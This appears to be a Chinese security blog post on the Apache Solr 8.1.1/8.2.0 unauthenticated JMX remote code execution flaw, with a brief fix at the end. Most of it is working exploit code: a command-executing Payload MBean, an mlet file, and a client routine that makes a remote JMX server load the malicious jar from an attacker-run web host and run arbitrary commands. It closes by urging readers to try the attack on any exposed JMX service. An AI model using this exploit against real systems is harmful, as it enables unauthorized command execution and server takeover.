前言
Apache Solr的8.1.1和8.2.0 linux版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项,并且默认开启,导致apache solr会在默认端口18983端口开放JMX服务,而且不需要身份认证,导致任何可以访问该端口的攻击者能够发起攻击,执行任意命令。
JMX和MBean
正如前言所说,这次apache solr 漏洞是JMX问题导致的,所以我们需要选简单介绍下JMX机制。
JMX(Java Management Extensions,即Java管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。狭隘的理解,我们可以通过JMX管理、监视我们的java程序。但是不是所有java程序都能被管理,只有通过特定实现的java才能够被管理,这种特定实现机制就是Mbean。
Mbean编写与管理
每一个MBean都需要实现一个接口,下面我们实现一个简单的HelloWorldMBean
public interface HelloWorldMBean {
public void setGreeting(String greeting);
public String getGreeting();
public void printGreeting();
}
public class HelloWorld implements HelloWorldMBean {
private String greeting = null;
public HelloWorld(String greeting) {
this.greeting = greeting;
}
public HelloWorld() {
this.greeting = "Hello World! I am Standard MBean";
}
@Override
public void setGreeting(String greeting) {
this.greeting = greeting;
}
@Override
public String getGreeting() {
return this.greeting;
}
@Override
public void printGreeting() {
System.out.println(this.greeting);
}
}
如果我们想要监控管理这个HelloWorldMBean,我们需要把该MBean添加到MBeanServer中。代码如下:
public class RemoteMbean {
public static void main(String[] args){
try{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
//---------------------------------------------
//local mbean
System.out.println("Register Hello bean...");
HelloWorld hello = new HelloWorld();
ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");
mBeanServer.registerMBean(hello, objectHelloName);
//这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
Registry registry = LocateRegistry.createRegistry(1099);
//构造JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
//创建JMXConnectorServer
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
//启动
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is running");
}catch (Exception e){
e.printStackTrace();
}
}
}
然后运行该程序,使用jconsole连接localhost:1099
这里我们可以通过jconsole执行远端HelloWorldMbean的printGreeting函数。
远程MBean
上节我们所编写的MBean是在本地的,JMX提供一种机制,可以使用远程的MBean。MLet对象,该对象有一个getMBeansFromURL方法,通过该方法我们可以使用远程的MBean。也正是因为这个原因,才导致JMX存在远程代码执行漏洞的可能。下面我们通过代码,观察下结果。
我们先编写一个Payload的MBean,并将其打包成jar包。
public interface PayloadMBean {
public String runCmd(String cmd) throws IOException, InterruptedException;
}
public class Payload implements PayloadMBean {
@Override
public String runCmd(String cmd) throws IOException, InterruptedException {
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String stdout_data = "";
String strtmp;
while ((strtmp = stdInput.readLine()) != null) {
stdout_data += strtmp + "\n";
}
while ((strtmp = stdError.readLine()) != null) {
stdout_data += strtmp + "\n";
}
process.waitFor();
return stdout_data;
}
}
再创建一个名为mlet的文件,内容如下:
<HTML><mlet code=Payload archive=JMXPayload.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>
这个文件是给getMBeansFromURL函数使用的,通过该文件,getMBeansFromURL会到远程下载JMXPayload.jar文件。
将JMXPayload.jar和mlet放在网站同一目录下。
将mletMBean添加到MBeanServer中,代码如下:
public class RemoteMbean {
public static void main(String[] args){
try{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
//---------------------------------------------
//local mbean
System.out.println("Register Hello bean...");
HelloWorld hello = new HelloWorld();
ObjectName objectHelloName = new ObjectName("JMXHello:name=hello");
mBeanServer.registerMBean(hello, objectHelloName);
//remote mbean
System.out.println("Register MLet bean...");
MLet mLet = new MLet();
ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");
mBeanServer.registerMBean(mLet, objectNameMLet);
//mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");
//-----------------------------------------------------------------
//mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});
//这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer
Registry registry = LocateRegistry.createRegistry(1099);
//构造JMXServiceURL
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
//创建JMXConnectorServer
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
//启动
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is running");
}catch (Exception e){
e.printStackTrace();
}
}
}
使用jconsole连接localhost:1099
执行getMBeansFromURL函数,加载远程payloadmbean,结果如下:
(这个过程我们也可以在代码里自动完成mLet.getMBeansFromURL(“http://192.168.1.110:8080/mlet”);)
通过加载的远程payloadmbean,我们就可以执行任意命令。
远程加载远程MBean
上一节中,我们介绍了本地时如何加载使用远程MBean的,有意思的是,这一过程我们在远程也可以实现,换句话说,就是一个对外开放JMX的系统,我们可以通过代码使其加载远程的恶意payloadmbean,从而实现执行任意代码,而Apache Solr的8.1.1和8.2.0 linux版本,恰恰就是这样一个对外开放JMX服务的系统,所以存在远程执行漏洞。
代码如下:
static void connectAndCmd(String serverName, String port, String command){
try{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
// System.out.println("URL: " + jmxServiceURL + ", connecting");
JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);
// System.out.println("Connected: " + jmxConnector.getConnectionId());
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectInstance evil_bean = null;
try{
evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));
}catch (Exception e){
evil_bean = null;
}
if(evil_bean == null){
System.out.println("Trying to create bean...");
ObjectInstance evilObject = null;
try{
evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);
}catch (InstanceAlreadyExistsException e){
evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
System.out.println("Load " + evilObject.getClassName());
//调用getMBeansFromURL从远程服务器获取 MBean
//加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。
//MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。
Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",
new Object[] {String.format("http://192.168.1.110:8080/mlet", InetAddress.getLocalHost().getHostAddress()) },
new String[] {String.class.getName()}
);
HashSet hashSet = (HashSet)res;
Iterator iterator = hashSet.iterator();
Object nextObject = iterator.next();
if(nextObject instanceof Exception){
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
}
//调用恶意 MBean 中用于执行命令的函数
System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());
System.out.println("Calling runCommand with: " + command);
Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});
System.out.println("Result: " + result);
}catch (Exception e){
e.printStackTrace();
}
}
Apache solr测试
使用jsonsole连接solr的18983端口,结果如下(如果连接失败,可能需要修改/etc/hosts下,主机名对应的ip地址,将其修改成实际ip地址)
使用上述代码测试攻击,成功实现任意命令执行
Metasploit也提供了jmx远程代码漏洞利用的模块exploit/multi/misc/java_jmx_server,有兴趣的可以自己试试。
修复方案
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务即可。
总结
Jmx远程代码执行漏洞是一个通用型漏洞,不单单存在与apache solr中,只要有对外开放JMX服务的系统,我们都可以使用该漏洞进行尝试,说不定有意外的收获。
参考:
https://www.cnblogs.com/trust-freedom/p/6842332.html
https://www.cnblogs.com/Sylon/p/11927518.html
https://www.cnblogs.com/afanti/p/10610682.html